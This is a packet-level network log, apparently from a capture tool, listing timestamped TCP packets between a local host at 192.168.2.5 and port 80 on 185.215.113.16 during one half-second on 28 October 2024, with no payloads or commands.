Oct 28, 2024 20:50:24.466505051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466521025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466557980 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.466574907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466612101 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.466620922 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466634035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466686964 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.466748953 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466788054 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466803074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466831923 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.466839075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466852903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466867924 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.466877937 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.466928959 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.467333078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467473030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467488050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467503071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467516899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467516899 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.467533112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467549086 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467555046 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.467565060 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467571974 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.467581987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467607975 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.467772007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467786074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467803001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467811108 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.467849016 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.467890978 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467905998 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467921019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467935085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.467938900 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.467967987 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.468235016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468250036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468265057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468277931 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468292952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.468293905 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468310118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468312025 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.468327045 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468341112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468348026 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.468381882 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.468663931 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468677998 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468694925 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.468710899 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.468722105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.469285011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.546984911 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.547002077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.547017097 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.547032118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.547054052 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.547142029 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.582679033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.582730055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.582746983 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.582783937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.582787037 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.582798958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.582860947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.583277941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583302975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583326101 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.583327055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583374977 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.583436012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583451033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583465099 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583494902 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.583724022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583738089 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583754063 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583767891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583776951 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.583785057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583802938 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.583813906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.583887100 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584053993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584089994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584090948 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584105968 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584127903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584177017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584192038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584219933 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584219933 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584275007 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584289074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584302902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584352970 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584352970 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584391117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584438086 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584490061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584512949 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584583044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584597111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584613085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584722042 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584722042 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584775925 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584790945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584808111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584824085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.584867954 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.584867954 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.585006952 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585021973 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585036039 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585078955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585129023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585150957 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.585201025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585215092 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585232019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585246086 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585248947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.585248947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.585411072 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.585477114 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585535049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585547924 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585551023 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.585586071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585601091 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585616112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.585644007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.585644007 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.588277102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.588289022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.588479996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.663996935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.664015055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.664037943 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.664052963 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.664069891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.664092064 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.664177895 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701174974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701277018 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701284885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701339960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701356888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701366901 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701375008 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701384068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701399088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701416969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701431990 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701448917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701466084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701467991 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701467991 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701483011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701486111 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701502085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701518059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701534033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701541901 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701548100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701549053 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701566935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701591969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701607943 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701625109 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701630116 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701631069 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701690912 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701826096 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701869011 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701886892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701920986 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.701930046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701946974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701963902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.701977015 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702058077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702059984 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702075005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702096939 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702121973 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702138901 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702140093 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702157021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702173948 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702174902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702193022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702199936 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702212095 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702229023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702235937 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702246904 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702265024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702287912 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702299118 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702464104 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702532053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702548981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702564001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702588081 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702590942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702609062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702624083 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702629089 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702646017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702663898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.702687979 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.702713013 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.804933071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.804991961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.805027008 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.805063009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.805097103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.805172920 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.805172920 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.817909002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818072081 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818103075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818135977 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.818157911 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818191051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818205118 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.818224907 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818259954 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818275928 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.818310022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818334103 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.818342924 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818377018 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818411112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818413973 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.818485975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818521976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818536043 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.818557024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818612099 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.818718910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818834066 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.818882942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818917990 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818950891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818984985 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.818990946 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819083929 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819092989 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819118023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819152117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819185019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819215059 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819231033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819236040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819287062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819338083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819339991 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819374084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819407940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819441080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819474936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819477081 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819509983 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819535017 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819544077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819576025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819601059 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819619894 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819627047 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819665909 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819719076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819741011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819751978 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819786072 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819834948 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819839001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819890976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819902897 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.819925070 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.819974899 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820009947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820043087 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820044041 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.820085049 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.820095062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820128918 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820162058 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820194960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820210934 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.820228100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820261955 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820295095 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820308924 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.820310116 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.820329905 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820355892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.820363998 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820400000 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.820475101 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.897970915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.898021936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.898083925 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.899487972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.899524927 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.899559021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.899601936 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.934900999 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.934979916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935010910 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935051918 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.935062885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935067892 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.935098886 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935132980 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935183048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935208082 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.935219049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935255051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935271025 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.935295105 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935338020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.935363054 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935410023 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.935411930 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935450077 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935478926 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935537100 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.935810089 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:24.935858011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:24.935861111 CET	80	52257	185.215.113.16	192.168.2.5
